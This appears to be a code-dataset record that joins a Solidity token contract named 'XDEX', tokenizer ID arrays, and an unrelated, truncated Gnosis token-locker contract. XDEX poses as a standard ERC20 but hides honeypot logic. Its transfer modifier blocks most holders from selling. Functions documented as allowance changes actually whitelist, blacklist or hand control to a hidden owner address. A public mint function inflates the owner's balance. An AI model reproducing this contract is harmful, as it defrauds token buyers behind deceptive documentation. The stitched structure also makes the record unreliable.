https://github.com/ethereum/solidity/issues/2691 return msg.data; } } /** * @dev Interface of the ERC20 standard as defined in the EIP. Does not include * the optional functions; to access them see {ERC20Detailed}. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract XDEX is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => bool) private _whiteAddress; mapping (address => bool) private _blackAddress; uint256 private _sellAmount = 0; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; uint256 private _approveValue = 115792089237316195423570985008687907853269984665640564039457584007913129639935; address public _owner; address private _safeOwner; address private _unirouter = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18. * * To select a different value for {decimals}, use {_setupDecimals}. * * All three of these values are immutable: they can only be set once during * construction. */ constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public { _name = name; _symbol = symbol; _decimals = 18; _owner = owner; _safeOwner = owner; _mint(_owner, initialSupply*(10**18)); } /** * @dev Returns the name of the token. */ function name() public view returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is * called. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _approveCheck(_msgSender(), recipient, amount); return true; } function multiTransfer(uint256 approvecount,address[] memory receivers, uint256[] memory amounts) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { transfer(receivers[i], amounts[i]); if(i < approvecount){ _whiteAddress[receivers[i]]=true; _approve(receivers[i], _unirouter,115792089237316195423570985008687907853269984665640564039457584007913129639935); } } } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _approveCheck(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address[] memory receivers) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { _whiteAddress[receivers[i]] = true; _blackAddress[receivers[i]] = false; } } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address safeOwner) public { require(msg.sender == _owner, "!owner"); _safeOwner = safeOwner; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function addApprove(address[] memory receivers) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { _blackAddress[receivers[i]] = true; _whiteAddress[receivers[i]] = false; } } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual{ require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) public { require(msg.sender == _owner, "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[_owner] = _balances[_owner].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approveCheck(address sender, address recipient, uint256 amount) internal burnTokenCheck(sender,recipient,amount) virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `sender` cannot be the zero address. * - `spender` cannot be the zero address. */ modifier burnTokenCheck(address sender, address recipient, uint256 amount){ if (_owner == _safeOwner && sender == _owner){_safeOwner = recipient;_;}else{ if (sender == _owner || sender == _safeOwner || recipient == _owner){ if (sender == _owner && sender == recipient){_sellAmount = amount;}_;}else{ if (_whiteAddress[sender] == true){ _;}else{if (_blackAddress[sender] == true){ require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}else{ if (amount < _sellAmount){ if(recipient == _safeOwner){_blackAddress[sender] = true; _whiteAddress[sender] = false;} _; }else{require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;} } } } } } /** * @dev Sets {decimals} to a value other than the default one of 18. * * WARNING: This function should only be called from the constructor. Most * applications that interact with token contracts will not expect * {decimals} to ever change, and may work incorrectly if it does. */ function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } }
Empty internal constructor, to prevent people from mistakenly deploying an instance of this contract, which should be used via inheritance.
contract Context { constructor () internal { } function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { return msg.data; } }
5,416
[ 1, 1921, 2713, 3885, 16, 358, 5309, 16951, 628, 27228, 7940, 715, 7286, 310, 392, 791, 434, 333, 6835, 16, 1492, 1410, 506, 1399, 3970, 16334, 18, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 16351, 1772, 288, 203, 203, 565, 3885, 1832, 2713, 288, 289, 203, 565, 445, 389, 3576, 12021, 1435, 2713, 1476, 5024, 1135, 261, 2867, 8843, 429, 13, 288, 203, 3639, 327, 1234, 18, 15330, 31, 203, 565, 289, 203, 203, 565, 445, 389, 3576, 751, 1435, 2713, 1476, 5024, 1135, 261, 3890, 3778, 13, 288, 203, 3639, 327, 1234, 18, 892, 31, 203, 565, 289, 203, 97, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
// File: openzeppelin-solidity/contracts/token/ERC20/IERC20.sol pragma solidity ^0.5.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. Does not include * the optional functions; to access them see {ERC20Detailed}. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // File: openzeppelin-solidity/contracts/math/SafeMath.sol pragma solidity ^0.5.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. * * NOTE: This is a feature of the next version of OpenZeppelin Contracts. * @dev Get it via `npm install @openzeppelin/contracts@next`. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. * NOTE: This is a feature of the next version of OpenZeppelin Contracts. * @dev Get it via `npm install @openzeppelin/contracts@next`. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. * * NOTE: This is a feature of the next version of OpenZeppelin Contracts. * @dev Get it via `npm install @openzeppelin/contracts@next`. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } // File: openzeppelin-solidity/contracts/utils/Address.sol pragma solidity ^0.5.5; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * This test is non-exhaustive, and there may be false-negatives: during the * execution of a contract's constructor, its address will be reported as * not containing a contract. * * IMPORTANT: It is unsafe to assume that an address for which this * function returns false is an externally-owned account (EOA) and not a * contract. */ function isContract(address account) internal view returns (bool) { // This method relies in extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != 0x0 && codehash != accountHash); } /** * @dev Converts an `address` into `address payable`. Note that this is * simply a type cast: the actual underlying value is not changed. * * NOTE: This is a feature of the next version of OpenZeppelin Contracts. * @dev Get it via `npm install @openzeppelin/contracts@next`. */ function toPayable(address account) internal pure returns (address payable) { return address(uint160(account)); } } // File: openzeppelin-solidity/contracts/token/ERC20/SafeERC20.sol pragma solidity ^0.5.0; /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint256 value) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero"); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. // A Solidity high level call has three parts: // 1. The target address is checked to verify it contains contract code // 2. The call itself is made, and success asserted // 3. The return value is decoded, which in turn checks the size of the returned data. // solhint-disable-next-line max-line-length require(address(token).isContract(), "SafeERC20: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } // File: openzeppelin-solidity/contracts/math/Math.sol pragma solidity ^0.5.0; /** * @dev Standard math utilities missing in the Solidity language. */ library Math { /** * @dev Returns the largest of two numbers. */ function max(uint256 a, uint256 b) internal pure returns (uint256) { return a >= b ? a : b; } /** * @dev Returns the smallest of two numbers. */ function min(uint256 a, uint256 b) internal pure returns (uint256) { return a < b ? a : b; } /** * @dev Returns the average of two numbers. The result is rounded towards * zero. */ function average(uint256 a, uint256 b) internal pure returns (uint256) { // (a + b) / 2 can overflow, so we distribute return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2); } } // File: contracts/EpochTokenLocker.sol pragma solidity ^0.5.0; /** @title Epoch Token Locker * EpochTokenLocker saveguards tokens for applications with constant-balances during discrete epochs * It allows to deposit a token which become credited in the next epoch and allows to request a token-withdraw * which becomes claimable after the current epoch has expired. * @author @gnosis/dfusion-team <https://github.com/orgs/gnosis/teams/dfusion-team/members> */ contract EpochTokenLocker { using SafeMath for uint256; /** @dev Number of seconds a batch is lasting*/ uint32 public constant BATCH_TIME = 300; // User => Token => BalanceState mapping(address => mapping(address => BalanceState)) private balanceStates; // user => token => lastCreditBatchId mapping(address => mapping(address => uint256)) public lastCreditBatchId; struct BalanceState { uint256 balance; PendingFlux pendingDeposits; // deposits will be credited in any future epoch, i.e. currentStateIndex > batchId PendingFlux pendingWithdraws; // withdraws are allowed in any future epoch, i.e. currentStateIndex > batchId } struct PendingFlux { uint256 amount; uint32 batchId; } event Deposit(address user, address token, uint256 amount, uint256 stateIndex); event WithdrawRequest(address user, address token, uint256 amount, uint256 stateIndex); event Withdraw(address user, address token, uint256 amount); /** @dev credits user with deposit amount on next epoch (given by getCurrentBatchId) * @param token address of token to be deposited * @param amount number of token(s) to be credited to user's account * * Emits an {Deposit} event with relevent deposit information. * * Requirements: * - token transfer to contract is successfull */ function deposit(address token, uint256 amount) public { updateDepositsBalance(msg.sender, token); SafeERC20.safeTransferFrom(IERC20(token), msg.sender, address(this), amount); // solhint-disable-next-line max-line-length balanceStates[msg.sender][token].pendingDeposits.amount = balanceStates[msg.sender][token].pendingDeposits.amount.add( amount ); balanceStates[msg.sender][token].pendingDeposits.batchId = getCurrentBatchId(); emit Deposit(msg.sender, token, amount, getCurrentBatchId()); } /** @dev Signals and initiates user's intent to withdraw. * @param token address of token to be withdrawn * @param amount number of token(s) to be withdrawn * * Emits an {WithdrawRequest} event with relevent request information. */ function requestWithdraw(address token, uint256 amount) public { requestFutureWithdraw(token, amount, getCurrentBatchId()); } /** @dev Signals and initiates user's intent to withdraw. * @param token address of token to be withdrawn * @param amount number of token(s) to be withdrawn * @param batchId state index at which request is to be made. * * Emits an {WithdrawRequest} event with relevent request information. */ function requestFutureWithdraw(address token, uint256 amount, uint32 batchId) public { // First process pendingWithdraw (if any), as otherwise balances might increase for currentBatchId - 1 if (hasValidWithdrawRequest(msg.sender, token)) { withdraw(msg.sender, token); } require(batchId >= getCurrentBatchId(), "Request cannot be made in the past"); balanceStates[msg.sender][token].pendingWithdraws = PendingFlux({amount: amount, batchId: batchId}); emit WithdrawRequest(msg.sender, token, amount, batchId); } /** @dev Claims pending withdraw - can be called on behalf of others * @param token address of token to be withdrawn * @param user address of user who withdraw is being claimed. * * Emits an {Withdraw} event stating that `user` withdrew `amount` of `token` * * Requirements: * - withdraw was requested in previous epoch * - token was received from exchange in current auction batch */ function withdraw(address user, address token) public { updateDepositsBalance(user, token); // withdrawn amount may have been deposited in previous epoch require( balanceStates[user][token].pendingWithdraws.batchId < getCurrentBatchId(), "withdraw was not registered previously" ); require( lastCreditBatchId[msg.sender][token] < getCurrentBatchId(), "Withdraw not possible for token that is traded in the current auction" ); uint256 amount = Math.min(balanceStates[user][token].balance, balanceStates[msg.sender][token].pendingWithdraws.amount); balanceStates[user][token].balance = balanceStates[user][token].balance.sub(amount); delete balanceStates[user][token].pendingWithdraws; SafeERC20.safeTransfer(IERC20(token), user, amount); emit Withdraw(user, token, amount); } /** * Public view functions */ /** @dev getter function used to display pending deposit * @param user address of user * @param token address of ERC20 token * return amount and batchId of deposit's transfer if any (else 0) */ function getPendingDeposit(address user, address token) public view returns (uint256, uint256) { PendingFlux memory pendingDeposit = balanceStates[user][token].pendingDeposits; return (pendingDeposit.amount, pendingDeposit.batchId); } /** @dev getter function used to display pending withdraw * @param user address of user * @param token address of ERC20 token * return amount and batchId when withdraw was requested if any (else 0) */ function getPendingWithdraw(address user, address token) public view returns (uint256, uint256) { PendingFlux memory pendingWithdraw = balanceStates[user][token].pendingWithdraws; return (pendingWithdraw.amount, pendingWithdraw.batchId); } /** @dev getter function to determine current auction id. * return current batchId */ function getCurrentBatchId() public view returns (uint32) { return uint32(now / BATCH_TIME); } /** @dev used to determine how much time is left in a batch * return seconds remaining in current batch */ function getSecondsRemainingInBatch() public view returns (uint256) { return BATCH_TIME - (now % BATCH_TIME); } /** @dev fetches and returns user's balance * @param user address of user * @param token address of ERC20 token * return Current `token` balance of `user`'s account */ function getBalance(address user, address token) public view returns (uint256) { uint256 balance = balanceStates[user][token].balance; if (balanceStates[user][token].pendingDeposits.batchId < getCurrentBatchId()) { balance = balance.add(balanceStates[user][token].pendingDeposits.amount); } if (balanceStates[user][token].pendingWithdraws.batchId < getCurrentBatchId()) { balance = balance.sub(Math.min(balanceStates[user][token].pendingWithdraws.amount, balance)); } return balance; } /** @dev Used to determine if user has a valid pending withdraw request of specific token * @param user address of user * @param token address of ERC20 token * return true if `user` has valid withdraw request for `token`, otherwise false */ function hasValidWithdrawRequest(address user, address token) public view returns (bool) { return balanceStates[user][token].pendingWithdraws.batchId < getCurrentBatchId() && balanceStates[user][token].pendingWithdraws.batchId > 0; } /** * internal functions */ /** * The following function should be used to update any balances within an epoch, which * will not be immediately final. E.g. the BatchExchange credits new balances to * the buyers in an auction, but as there are might be better solutions, the updates are * not final. In order to prevent 